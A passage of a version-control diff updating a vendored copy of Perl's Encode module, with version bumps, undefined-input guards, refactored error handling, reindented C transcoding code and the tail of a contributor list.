+            'Andrew Pennebaker <andrew.pennebaker at networkedinsights.com>',
+            'Andy Grundman <andyg at activestate.com>',
+            'Anton Tagunov <tagunov at motor.ru>',
+            'Autrijus Tang <autrijus at autrijus.org>',
+            'Benjamin Goldberg <goldbb2 at earthlink.net>',
+            'Bjoern Hoehrmann <derhoermi at gmx.net>',
+            'Bjoern Jacke <debianbugs at j3e.de>',
+            'bulk88 <bulk88 at hotmail.com>',
+            'Craig A. Berry <craigberry at mac.com>',
+            'Curtis Jewell <csjewell at cpan.org>',
+            'Dan Kogai <dankogai at dan.co.jp>',
+            'Dave Evans <dave at rudolf.org.uk>',
+            'David Golden <dagolden at cpan.org>',
+            'David Steinbrunner <dsteinbrunner at pobox.com>',
+            'Deng Liu <dengliu at ntu.edu.tw>',
+            'Dominic Dunlop <domo at computer.org>',
+            'drry',
+            'Elizabeth Mattijsen <liz at dijkmat.nl>',
+            'Flavio Poletti <flavio at polettix.it>',
+            'Gerrit P. Haase <gp at familiehaase.de>',
+            'Gisle Aas <gisle at ActiveState.com>',
+            'Graham Barr <gbarr at pobox.com>',
+            'Graham Knop <haarg at haarg.org>',
+            'Graham Ollis <perl at wdlabs.com>',
+            'Gurusamy Sarathy <gsar at activestate.com>',
+            'H.Merijn Brand <h.m.brand at xs4all.nl>',
+            'Hugo van der Sanden <hv at crypt.org>',
+            'chansen <chansen at cpan.org>',
+            'Chris Nandor <pudge at pobox.com>',
+            'Inaba Hiroto <inaba at st.rim.or.jp>',
+            'Jarkko Hietaniemi <jhi at iki.fi>',
+            'Jesse Vincent <jesse at fsck.com>',
+            'Jungshik Shin <jshin at mailaps.org>',
+            'Karen Etheridge <ether at cpan.org>',
+            'Karl Williamson <khw at cpan.org>',
+            'Kenichi Ishigaki <ishigaki at cpan.org>',
+            'KONNO Hiroharu <hiroharu.konno at bowneglobal.co.jp>',
+            'Laszlo Molnar <ml1050 at freemail.hu>',
+            'Makamaka <makamaka at donzoko.net>',
+            'Mark-Jason Dominus <mjd at plover.com>',
+            'Masahiro Iuchi <masahiro.iuchi at gmail.com>',
+            'MATSUNO Tokuhiro <tokuhirom+cpan at gmail.com>',
+            'Mattia Barbon <mbarbon at dsi.unive.it>',
+            'Michael G Schwern <schwern at pobox.com>',
+            'Michael LaGrasta <michael at lagrasta.com>',
+            'Miron Cuperman <miron at hyper.to>',
+            'Moritz Lenz <moritz at faui2k3.org>',
+            'MORIYAMA Masayuki <msyk at mtg.biglobe.ne.jp>',
+            'Nick Ing-Simmons <nick at ing-simmons.net>',
+            'Nicholas Clark <nick at ccl4.org>',
+            'Olivier Mengué <dolmen at cpan.org>',
+            'otsune',
+            'Pali <pali at cpan.org>',
+            'Paul Marquess <paul_marquess at yahoo.co.uk>',
+            'Peter Prymmer <pvhp at best.com>',
+            'Peter Rabbitson <ribasushi at cpan.org>',
+            'Philip Newton <pne at cpan.org>',
+            'Piotr Fusik <pfusik at op.pl>',
+            'Rafael Garcia-Suarez <rgarciasuarez at mandriva.com>',
+            'Randy Stauner <randy at magnificent-tears.com>',
+            'Reini Urban <rurban at cpan.org>',
+            'Robin Barker <rmb1 at cise.npl.co.uk>',
+            'SADAHIRO Tomoyuki <SADAHIRO at cpan.org>',
+            'Simon Cozens <simon at netthink.co.uk>',
+            'Slaven Rezic <SREZIC at cpan.org>',
+            'Spider Boardman <spider at web.zk3.dec.com>',
+            'Steve Hay <steve.m.hay at googlemail.com>',
+            'Steve Peters <steve at fisharerojo.org>',
+            'SUGAWARA Hajime <sugawara at hdt.co.jp>',
+            'SUZUKI Norio <ZAP00217 at nifty.com>',
+            'szr8 <blz.marcel at gmail.com>',
+            'Tatsuhiko Miyagawa <miyagawa at bulknews.net>',
+            'Tels <perl_dummy at bloodgate.com>',
+            'Tony Cook <tony at develop-help.com>',
+            'Vadim Konovalov <vkonovalov at peterstar.ru>',
+            'Victor <victor at vsespb.ru>',
+            'Ville Skyttä <ville.skytta at iki.fi>',
+            'Vincent van Dam <vvandam at sandvine.com>',
+            'Yitzchak Scott-Thoennes <sthoenna at efn.org>',
+        ],
     },
 );
 

Modified: vendor/perl/dist/cpan/Encode/Unicode/Unicode.pm
===================================================================
--- vendor/perl/dist/cpan/Encode/Unicode/Unicode.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Encode/Unicode/Unicode.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,9 +2,8 @@
 
 use strict;
 use warnings;
-no warnings 'redefine';
 
-our $VERSION = do { my @r = ( q$Revision: 2.15_01 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r };
+our $VERSION = do { my @r = ( q$Revision: 2.17 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r };
 
 use XSLoader;
 XSLoader::load( __PACKAGE__, $VERSION );
@@ -13,7 +12,7 @@
 # Object Generator 8 transcoders all at once!
 #
 
-require Encode;
+use Encode ();
 
 our %BOM_Unknown = map { $_ => 1 } qw(UTF-16 UTF-32);
 
@@ -34,12 +33,13 @@
     $endian = ( $3 eq 'BE' ) ? 'n' : ( $3 eq 'LE' ) ? 'v' : '';
     $size == 4 and $endian = uc($endian);
 
-    $Encode::Encoding{$name} = bless {
+    my $obj = bless {
         Name   => $name,
         size   => $size,
         endian => $endian,
         ucs2   => $ucs2,
     } => __PACKAGE__;
+    Encode::define_encoding($obj, $name);
 }
 
 use parent qw(Encode::Encoding);
@@ -52,12 +52,6 @@
     return $clone;
 }
 
-# There used to be a perl implementation of (en|de)code but with
-# XS version is ripe, perl version is zapped for optimal speed
-
-*decode = \&decode_xs;
-*encode = \&encode_xs;
-
 1;
 __END__
 

Modified: vendor/perl/dist/cpan/Encode/Unicode/Unicode.xs
===================================================================
--- vendor/perl/dist/cpan/Encode/Unicode/Unicode.xs	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Encode/Unicode/Unicode.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
 /*
- $Id: Unicode.xs,v 2.15 2016/11/29 23:29:23 dankogai Exp dankogai $
+ $Id: Unicode.xs,v 2.17 2018/02/08 00:26:15 dankogai Exp $
  */
 
 #define PERL_NO_GET_CONTEXT
@@ -127,7 +127,7 @@
     *hv_fetch((HV *)SvRV(obj),k,l,0) : &PL_sv_undef)
 
 void
-decode_xs(obj, str, check = 0)
+decode(obj, str, check = 0)
 SV *	obj
 SV *	str
 IV	check
@@ -315,7 +315,7 @@
 	    resultbuflen = SvLEN(result);
 	}
 
-	d = uvuni_to_utf8_flags(resultbuf+SvCUR(result), ord,
+	d = uvchr_to_utf8_flags(resultbuf+SvCUR(result), ord,
                                             UNICODE_WARN_ILLEGAL_INTERCHANGE);
 	SvCUR_set(result, d - (U8 *)SvPVX(result));
     }
@@ -345,7 +345,7 @@
 }
 
 void
-encode_xs(obj, utf8, check = 0)
+encode(obj, utf8, check = 0)
 SV *	obj
 SV *	utf8
 IV	check
@@ -407,7 +407,7 @@
     }
     while (s < e && s+UTF8SKIP(s) <= e) {
 	STRLEN len;
-	UV ord = utf8n_to_uvuni(s, e-s, &len, (UTF8_DISALLOW_SURROGATE
+	UV ord = utf8n_to_uvchr(s, e-s, &len, (UTF8_DISALLOW_SURROGATE
                                                |UTF8_WARN_SURROGATE
                                                |UTF8_DISALLOW_FE_FF
                                                |UTF8_WARN_FE_FF

Modified: vendor/perl/dist/cpan/Encode/bin/enc2xs
===================================================================
--- vendor/perl/dist/cpan/Encode/bin/enc2xs	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Encode/bin/enc2xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -11,7 +11,7 @@
 use Getopt::Std;
 use Config;
 my @orig_ARGV = @ARGV;
-our $VERSION  = do { my @r = (q$Revision: 2.20 $ =~ /\d+/g); sprintf "%d."."%02d" x $#r, @r };
+our $VERSION  = do { my @r = (q$Revision: 2.21 $ =~ /\d+/g); sprintf "%d."."%02d" x $#r, @r };
 
 # These may get re-ordered.
 # RAW is a do_now as inserted by &enter
@@ -1038,8 +1038,7 @@
 
 sub make_makefile_pl
 {
-    eval { require Encode; };
-    $@ and die "You need to install Encode to use enc2xs -M\nerror: $@\n";
+    eval { require Encode } or die "You need to install Encode to use enc2xs -M\nerror: $@\n";
     # our used for variable expansion
     $_Enc2xs = $0;
     $_Version = $VERSION;
@@ -1063,8 +1062,7 @@
         );
 
 sub make_configlocal_pm {
-    eval { require Encode; };
-    $@ and die "Unable to require Encode: $@\n";
+    eval { require Encode } or die "Unable to require Encode: $@\n";
     eval { require File::Spec; };
 
     # our used for variable expantion
@@ -1084,8 +1082,7 @@
 	$mod =~ s/.*\bEncode\b/Encode/o;
 	$mod =~ s/\.pm\z//o;
 	$mod =~ s,/,::,og;
-	eval qq{ require $mod; };
-        return if $@;
+	eval qq{ require $mod; } or return;
         warn qq{ require $mod;\n};
 	for my $enc ( Encode->encodings() ) {
 	    no warnings;
@@ -1119,8 +1116,7 @@
 }
 
 sub _print_expand{
-    eval { require File::Basename; };
-    $@ and die "File::Basename needed.  Are you on miniperl?;\nerror: $@\n";
+    eval { require File::Basename } or die "File::Basename needed.  Are you on miniperl?;\nerror: $@\n";
     File::Basename->import();
     my ($src, $dst, $clobber) = @_;
     if (!$clobber and -e $dst){

Modified: vendor/perl/dist/cpan/Encode/bin/ucmlint
===================================================================
--- vendor/perl/dist/cpan/Encode/bin/ucmlint	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Encode/bin/ucmlint	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,11 +1,11 @@
 #!/usr/local/bin/perl
 #
-# $Id: ucmlint,v 2.3 2016/08/04 03:15:58 dankogai Exp $
+# $Id: ucmlint,v 2.4 2017/06/10 17:23:50 dankogai Exp $
 #
 
 BEGIN { pop @INC if $INC[-1] eq '.' }
 use strict;
-our  $VERSION = do { my @r = (q$Revision: 2.3 $ =~ /\d+/g); sprintf "%d."."%02d" x $#r, @r };
+our  $VERSION = do { my @r = (q$Revision: 2.4 $ =~ /\d+/g); sprintf "%d."."%02d" x $#r, @r };
 
 use Getopt::Std;
 our %Opt;
@@ -12,8 +12,7 @@
 getopts("Dehfv", \%Opt);
 
 if ($Opt{e}){
-   eval{ require Encode; };
-   $@ and die "can't load Encode : $@";
+   eval { require Encode } or die "can't load Encode : $@";
 }
 
 $Opt{h} and help();

Modified: vendor/perl/dist/cpan/Encode/encengine.c
===================================================================
--- vendor/perl/dist/cpan/Encode/encengine.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Encode/encengine.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -102,56 +102,56 @@
     U8 *dend = d + dlen, *dlast = d;
     int code = 0;
     while (s < send) {
-    const encpage_t *e = enc;
-    U8 byte = *s;
-    while (byte > e->max)
-        e++;
-    if (byte >= e->min && e->slen && (approx || !(e->slen & 0x80))) {
-        const U8 *cend = s + (e->slen & 0x7f);
-        if (cend <= send) {
-        STRLEN n;
-        if ((n = e->dlen)) {
-            const U8 *out = e->seq + n * (byte - e->min);
-            U8 *oend = d + n;
-            if (dst) {
-            if (oend <= dend) {
-                while (d < oend)
-                *d++ = *out++;
+        const encpage_t *e = enc;
+        U8 byte = *s;
+        while (byte > e->max)
+            e++;
+        if (byte >= e->min && e->slen && (approx || !(e->slen & 0x80))) {
+            const U8 *cend = s + (e->slen & 0x7f);
+            if (cend <= send) {
+                STRLEN n;
+                if ((n = e->dlen)) {
+                    const U8 *out = e->seq + n * (byte - e->min);
+                    U8 *oend = d + n;
+                    if (dst) {
+                        if (oend <= dend) {
+                            while (d < oend)
+                                *d++ = *out++;
+                        }
+                        else {
+                            /* Out of space */
+                            code = ENCODE_NOSPACE;
+                            break;
+                        }
+                    }
+                    else
+                        d = oend;
+                }
+                enc = e->next;
+                s++;
+                if (s == cend) {
+                    if (approx && (e->slen & 0x80))
+                        code = ENCODE_FALLBACK;
+                    last = s;
+                    if (term && (STRLEN)(d-dlast) == tlen && memEQ(dlast, term, tlen)) {
+                        code = ENCODE_FOUND_TERM;
+                        break;
+                    }
+                    dlast = d;
+                }
             }
             else {
-                /* Out of space */
-                code = ENCODE_NOSPACE;
+                /* partial source character */
+                code = ENCODE_PARTIAL;
                 break;
             }
-            }
-            else
-            d = oend;
         }
-        enc = e->next;
-        s++;
-        if (s == cend) {
-            if (approx && (e->slen & 0x80))
-            code = ENCODE_FALLBACK;
-            last = s;
-            if (term && (STRLEN)(d-dlast) == tlen && memEQ(dlast, term, tlen)) {
-              code = ENCODE_FOUND_TERM;
-              break;
-            }
-            dlast = d;
-        }
-        }
         else {
-        /* partial source character */
-        code = ENCODE_PARTIAL;
-        break;
+            /* Cannot represent */
+            code = ENCODE_NOREP;
+            break;
         }
     }
-    else {
-        /* Cannot represent */
-        code = ENCODE_NOREP;
-        break;
-    }
-    }
     *slen = last - src;
     *dout = d - dst;
     return code;

Modified: vendor/perl/dist/cpan/Encode/encoding.pm
===================================================================
--- vendor/perl/dist/cpan/Encode/encoding.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Encode/encoding.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,15 +1,16 @@
-# $Id: encoding.pm,v 2.19 2016/11/01 13:30:38 dankogai Exp $
+# $Id: encoding.pm,v 2.22 2018/02/11 05:32:03 dankogai Exp $
 package encoding;
-our $VERSION = sprintf "%d.%02d", q$Revision: 2.19 $ =~ /(\d+)/g;
+our $VERSION = sprintf "%d.%02d", q$Revision: 2.22 $ =~ /(\d+)/g;
 
 use Encode;
 use strict;
 use warnings;
+use Config;
 
 use constant {
     DEBUG => !!$ENV{PERL_ENCODE_DEBUG},
     HAS_PERLIO => eval { require PerlIO::encoding; PerlIO::encoding->VERSION(0.02) },
-    PERL_5_21_7 => $^V && $^V ge v5.21.7,
+    PERL_5_21_7 => $^V && $^V ge v5.21.7, # lexically scoped
 };
 
 sub _exception {
@@ -115,7 +116,8 @@
     }
 
     my $deprecate =
-        $] >= 5.017 ? "Use of the encoding pragma is deprecated" : 0;
+        ($] >= 5.017 and !$Config{usecperl})
+        ? "Use of the encoding pragma is deprecated" : 0;
 
     my $class = shift;
     my $name  = shift;
@@ -132,6 +134,7 @@
         return;
     }
     $name = _get_locale_encoding() if $name eq ':locale';
+    BEGIN { strict->unimport('hashpairs') if $] >= 5.027 and $^V =~ /c$/; }
     my %arg = @_;
     $name = $ENV{PERL_ENCODING} unless defined $name;
     my $enc = find_encoding($name);
@@ -141,9 +144,9 @@
     }
     $name = $enc->name;    # canonize
     unless ( $arg{Filter} ) {
-        if ($] >= 5.025003) {
+        if ($] >= 5.025003 and !$Config{usecperl}) {
             require Carp;
-            Carp::croak("The encoding pragma is no longer supported");
+            Carp::croak("The encoding pragma is no longer supported. Check cperl");
         }
         warnings::warnif("deprecated",$deprecate) if $deprecate;
 
@@ -173,7 +176,7 @@
         # implicitly 'use utf8'
         require utf8;      # to fetch $utf8::hint_bits;
         $^H |= $utf8::hint_bits;
-        eval {
+
             require Filter::Util::Call;
             Filter::Util::Call->import;
             filter_add(
@@ -186,8 +189,6 @@
                     $status;
                 }
             );
-        };
-        $@ eq '' and DEBUG and warn "Filter installed";
     }
     defined ${^UNICODE} and ${^UNICODE} != 0 and return 1;
     for my $h (qw(STDIN STDOUT)) {
@@ -197,20 +198,14 @@
                 Carp::croak(
                     "encoding: Unknown encoding for $h, '$arg{$h}'");
             }
-            eval { binmode( $h, ":raw :encoding($arg{$h})" ) };
+            binmode( $h, ":raw :encoding($arg{$h})" );
         }
         else {
             unless ( exists $arg{$h} ) {
-                eval {
                     no warnings 'uninitialized';
                     binmode( $h, ":raw :encoding($name)" );
-                };
             }
         }
-        if ($@) {
-            require Carp;
-            Carp::croak($@);
-        }
     }
     return 1;    # I doubt if we need it, though
 }
@@ -368,7 +363,7 @@
 Also note that non-STD file handles remain unaffected.  Use C<use
 open> or C<binmode> to change the layers of those.
 
-=item C<use encoding I<ENCNAME> Filter=E<gt>1;>
+=item C<use encoding I<ENCNAME>, Filter=E<gt>1;>
 
 This operates as above, but the C<Filter> argument with a non-zero
 value causes the entire script, and not just literals, to be translated from

Modified: vendor/perl/dist/cpan/Encode/lib/Encode/Alias.pm
===================================================================
--- vendor/perl/dist/cpan/Encode/lib/Encode/Alias.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Encode/lib/Encode/Alias.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,8 +1,7 @@
 package Encode::Alias;
 use strict;
 use warnings;
-no warnings 'redefine';
-our $VERSION = do { my @r = ( q$Revision: 2.21 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r };
+our $VERSION = do { my @r = ( q$Revision: 2.24 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r };
 use constant DEBUG => !!$ENV{PERL_ENCODE_DEBUG};
 
 use Exporter 'import';
@@ -19,7 +18,6 @@
 our %Alias;    # cached known aliases
 
 sub find_alias {
-    require Encode;
     my $class = shift;
     my $find  = shift;
     unless ( exists $Alias{$find} ) {
@@ -109,6 +107,9 @@
     }
 }
 
+# HACK: Encode must be used after define_alias is declarated as Encode calls define_alias
+use Encode ();
+
 # Allow latin-1 style names as well
 # 0  1  2  3  4  5   6   7   8   9  10
 our @Latin2iso = ( 0, 1, 2, 3, 4, 9, 10, 13, 14, 15, 16 );
@@ -134,7 +135,6 @@
 }
 
 sub init_aliases {
-    require Encode;
     undef_aliases();
 
     # Try all-lower-case version should all else fails
@@ -270,7 +270,7 @@
     define_alias( qr/\bUTF-8$/i => '"utf-8-strict"' );
 
     # At last, Map white space and _ to '-'
-    define_alias( qr/^(\S+)[\s_]+(.*)$/i => '"$1-$2"' );
+    define_alias( qr/^([^\s_]+)[\s_]+([^\s_]*)$/i => '"$1-$2"' );
 }
 
 1;

Modified: vendor/perl/dist/cpan/Encode/lib/Encode/CN/HZ.pm
===================================================================
--- vendor/perl/dist/cpan/Encode/lib/Encode/CN/HZ.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Encode/lib/Encode/CN/HZ.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 use utf8 ();
 
 use vars qw($VERSION);
-$VERSION = do { my @r = ( q$Revision: 2.8 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r };
+$VERSION = do { my @r = ( q$Revision: 2.10 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r };
 
 use Encode qw(:fallbacks);
 
@@ -21,6 +21,7 @@
 
 sub decode ($$;$) {
     my ( $obj, $str, $chk ) = @_;
+    return undef unless defined $str;
 
     my $GB  = Encode::find_encoding('gb2312-raw');
     my $ret = substr($str, 0, 0); # to propagate taintedness
@@ -135,6 +136,7 @@
 
 sub encode($$;$) {
      my ( $obj, $str, $chk ) = @_;
+    return undef unless defined $str;
 
     my $GB  = Encode::find_encoding('gb2312-raw');
     my $ret = substr($str, 0, 0); # to propagate taintedness;
@@ -154,7 +156,7 @@
         }
         elsif ( $str =~ s/(.)// ) {
             my $s = $1;
-            my $tmp = $GB->encode( $s, $chk );
+            my $tmp = $GB->encode( $s, $chk || 0 );
             last if !defined $tmp;
             if ( length $tmp == 2 ) {    # maybe a valid GB char (XXX)
                 if ($in_ascii) {

Modified: vendor/perl/dist/cpan/Encode/lib/Encode/Encoding.pm
===================================================================
--- vendor/perl/dist/cpan/Encode/lib/Encode/Encoding.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Encode/lib/Encode/Encoding.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,12 +3,16 @@
 # Base class for classes which implement encodings
 use strict;
 use warnings;
-our $VERSION = do { my @r = ( q$Revision: 2.7 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r };
+our $VERSION = do { my @r = ( q$Revision: 2.8 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r };
 
-require Encode;
+our @CARP_NOT = qw(Encode Encode::Encoder);
 
-sub DEBUG { 0 }
+use Carp ();
+use Encode ();
+use Encode::MIME::Name;
 
+use constant DEBUG => !!$ENV{PERL_ENCODE_DEBUG};
+
 sub Define {
     my $obj       = shift;
     my $canonical = shift;
@@ -20,13 +24,10 @@
 
 sub name { return shift->{'Name'} }
 
-sub mime_name{
-    require Encode::MIME::Name;
+sub mime_name {
     return Encode::MIME::Name::get_mime_name(shift->name);
 }
 
-# sub renew { return $_[0] }
-
 sub renew {
     my $self = shift;
     my $clone = bless {%$self} => ref($self);
@@ -42,8 +43,7 @@
 sub needs_lines { 0 }
 
 sub perlio_ok {
-    eval { require PerlIO::encoding };
-    return $@ ? 0 : 1;
+    return eval { require PerlIO::encoding } ? 1 : 0;
 }
 
 # (Temporary|legacy) methods
@@ -56,7 +56,6 @@
 #
 
 sub encode {
-    require Carp;
     my $obj = shift;
     my $class = ref($obj) ? ref($obj) : $obj;
     Carp::croak( $class . "->encode() not defined!" );
@@ -63,7 +62,6 @@
 }
 
 sub decode {
-    require Carp;
     my $obj = shift;
     my $class = ref($obj) ? ref($obj) : $obj;
     Carp::croak( $class . "->encode() not defined!" );
@@ -188,7 +186,6 @@
 Predefined As:
 
   sub mime_name{
-    require Encode::MIME::Name;
     return Encode::MIME::Name::get_mime_name(shift->name);
   }
 
@@ -226,8 +223,7 @@
 Predefined As:
 
   sub perlio_ok { 
-      eval{ require PerlIO::encoding };
-      return $@ ? 0 : 1;
+    return eval { require PerlIO::encoding } ? 1 : 0;
   }
 
 If your encoding does not support PerlIO for some reasons, just;

Modified: vendor/perl/dist/cpan/Encode/lib/Encode/GSM0338.pm
===================================================================
--- vendor/perl/dist/cpan/Encode/lib/Encode/GSM0338.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Encode/lib/Encode/GSM0338.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
 #
-# $Id: GSM0338.pm,v 2.5 2013/09/14 07:51:59 dankogai Exp $
+# $Id: GSM0338.pm,v 2.7 2017/06/10 17:23:50 dankogai Exp $
 #
 package Encode::GSM0338;
 
@@ -8,7 +8,7 @@
 use Carp;
 
 use vars qw($VERSION);
-$VERSION = do { my @r = ( q$Revision: 2.5 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r };
+$VERSION = do { my @r = ( q$Revision: 2.7 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r };
 
 use Encode qw(:fallbacks);
 
@@ -171,6 +171,7 @@
 
 sub decode ($$;$) {
     my ( $obj, $bytes, $chk ) = @_;
+    return undef unless defined $bytes;
     my $str = substr($bytes, 0, 0); # to propagate taintedness;
     while ( length $bytes ) {
         my $c = substr( $bytes, 0, 1, '' );
@@ -216,6 +217,7 @@
 
 sub encode($$;$) {
     my ( $obj, $str, $chk ) = @_;
+    return undef unless defined $str;
     my $bytes = substr($str, 0, 0); # to propagate taintedness
     while ( length $str ) {
         my $u = substr( $str, 0, 1, '' );
@@ -270,10 +272,9 @@
 
   eval {
     $utf8    = decode("gsm0338", $gsm0338,  $chk);
+  } or do {
+    # handle exception here
   };
-  if ($@){
-    # handle exception here
-  }
 
 =head1 BUGS
 

Modified: vendor/perl/dist/cpan/Encode/lib/Encode/Guess.pm
===================================================================
--- vendor/perl/dist/cpan/Encode/lib/Encode/Guess.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Encode/lib/Encode/Guess.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,15 +2,16 @@
 use strict;
 use warnings;
 use Encode qw(:fallbacks find_encoding);
-our $VERSION = do { my @r = ( q$Revision: 2.6 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r };
+our $VERSION = do { my @r = ( q$Revision: 2.7 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r };
 
 my $Canon = 'Guess';
 use constant DEBUG => !!$ENV{PERL_ENCODE_DEBUG};
 our %DEF_SUSPECTS = map { $_ => find_encoding($_) } qw(ascii utf8);
-$Encode::Encoding{$Canon} = bless {
+my $obj = bless {
     Name     => $Canon,
     Suspects => {%DEF_SUSPECTS},
 } => __PACKAGE__;
+Encode::define_encoding($obj, $Canon);
 
 use parent qw(Encode::Encoding);
 sub needs_lines { 1 }

Modified: vendor/perl/dist/cpan/Encode/lib/Encode/JP/JIS7.pm
===================================================================
--- vendor/perl/dist/cpan/Encode/lib/Encode/JP/JIS7.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Encode/lib/Encode/JP/JIS7.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +1,7 @@
 package Encode::JP::JIS7;
 use strict;
 use warnings;
-our $VERSION = do { my @r = ( q$Revision: 2.5 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r };
+our $VERSION = do { my @r = ( q$Revision: 2.8 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r };
 
 use Encode qw(:fallbacks);
 
@@ -9,11 +9,12 @@
     my $h2z     = ( $name eq '7bit-jis' )    ? 0 : 1;
     my $jis0212 = ( $name eq 'iso-2022-jp' ) ? 0 : 1;
 
-    $Encode::Encoding{$name} = bless {
+    my $obj = bless {
         Name    => $name,
         h2z     => $h2z,
         jis0212 => $jis0212,
     } => __PACKAGE__;
+    Encode::define_encoding($obj, $name);
 }
 
 use parent qw(Encode::Encoding);
@@ -29,6 +30,7 @@
 
 sub decode($$;$) {
     my ( $obj, $str, $chk ) = @_;
+    return undef unless defined $str;
     my $residue = '';
     if ($chk) {
         $str =~ s/([^\x00-\x7f].*)$//so and $residue = $1;
@@ -45,11 +47,12 @@
 sub encode($$;$) {
     require Encode::JP::H2Z;
     my ( $obj, $utf8, $chk ) = @_;
+    return undef unless defined $utf8;
 
     # empty the input string in the stack so perlio is ok
     $_[1] = '' if $chk;
     my ( $h2z, $jis0212 ) = @$obj{qw(h2z jis0212)};
-    my $octet = Encode::encode( 'euc-jp', $utf8, $chk );
+    my $octet = Encode::encode( 'euc-jp', $utf8, $chk || 0 );
     $h2z and &Encode::JP::H2Z::h2z( \$octet );
     euc_jis( \$octet, $jis0212 );
     return $octet;

Modified: vendor/perl/dist/cpan/Encode/lib/Encode/KR/2022_KR.pm
===================================================================
--- vendor/perl/dist/cpan/Encode/lib/Encode/KR/2022_KR.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Encode/lib/Encode/KR/2022_KR.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +1,7 @@
 package Encode::KR::2022_KR;
 use strict;
 use warnings;
-our $VERSION = do { my @r = ( q$Revision: 2.3 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r };
+our $VERSION = do { my @r = ( q$Revision: 2.4 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r };
 
 use Encode qw(:fallbacks);
 
@@ -16,6 +16,7 @@
 
 sub decode {
     my ( $obj, $str, $chk ) = @_;
+    return undef unless defined $str;
     my $res     = $str;
     my $residue = iso_euc( \$res );
 
@@ -26,6 +27,7 @@
 
 sub encode {
     my ( $obj, $utf8, $chk ) = @_;
+    return undef unless defined $utf8;
 
     # empty the input string in the stack so perlio is ok
     $_[1] = '' if $chk;

Modified: vendor/perl/dist/cpan/Encode/lib/Encode/MIME/Header/ISO_2022_JP.pm
===================================================================
--- vendor/perl/dist/cpan/Encode/lib/Encode/MIME/Header/ISO_2022_JP.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Encode/lib/Encode/MIME/Header/ISO_2022_JP.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,9 +5,10 @@
 
 use parent qw(Encode::MIME::Header);
 
-$Encode::Encoding{'MIME-Header-ISO_2022_JP'} =
+my $obj =
   bless { decode_b => '1', decode_q => '1', encode => 'B', bpl => 76, Name => 'MIME-Header-ISO_2022_JP' } =>
   __PACKAGE__;
+Encode::define_encoding($obj, 'MIME-Header-ISO_2022_JP');
 
 use constant HEAD => '=?ISO-2022-JP?B?';
 use constant TAIL => '?=';
@@ -14,7 +15,7 @@
 
 use Encode::CJKConstants qw(%RE);
 
-our $VERSION = do { my @r = ( q$Revision: 1.7 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r };
+our $VERSION = do { my @r = ( q$Revision: 1.9 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r };
 
 # I owe the below codes totally to
 #   Jcode by Dan Kogai & http://www.din.or.jp/~ohzaki/perl.htm#JP_Base64
@@ -22,6 +23,7 @@
 sub encode {
     my $self = shift;
     my $str  = shift;
+    return undef unless defined $str;
 
     utf8::encode($str) if ( Encode::is_utf8($str) );
     Encode::from_to( $str, 'utf8', 'euc-jp' );

Modified: vendor/perl/dist/cpan/Encode/lib/Encode/MIME/Header.pm
===================================================================
--- vendor/perl/dist/cpan/Encode/lib/Encode/MIME/Header.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Encode/lib/Encode/MIME/Header.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 use strict;
 use warnings;
 
-our $VERSION = do { my @r = ( q$Revision: 2.24 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r };
+our $VERSION = do { my @r = ( q$Revision: 2.28 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r };
 
 use Carp ();
 use Encode ();
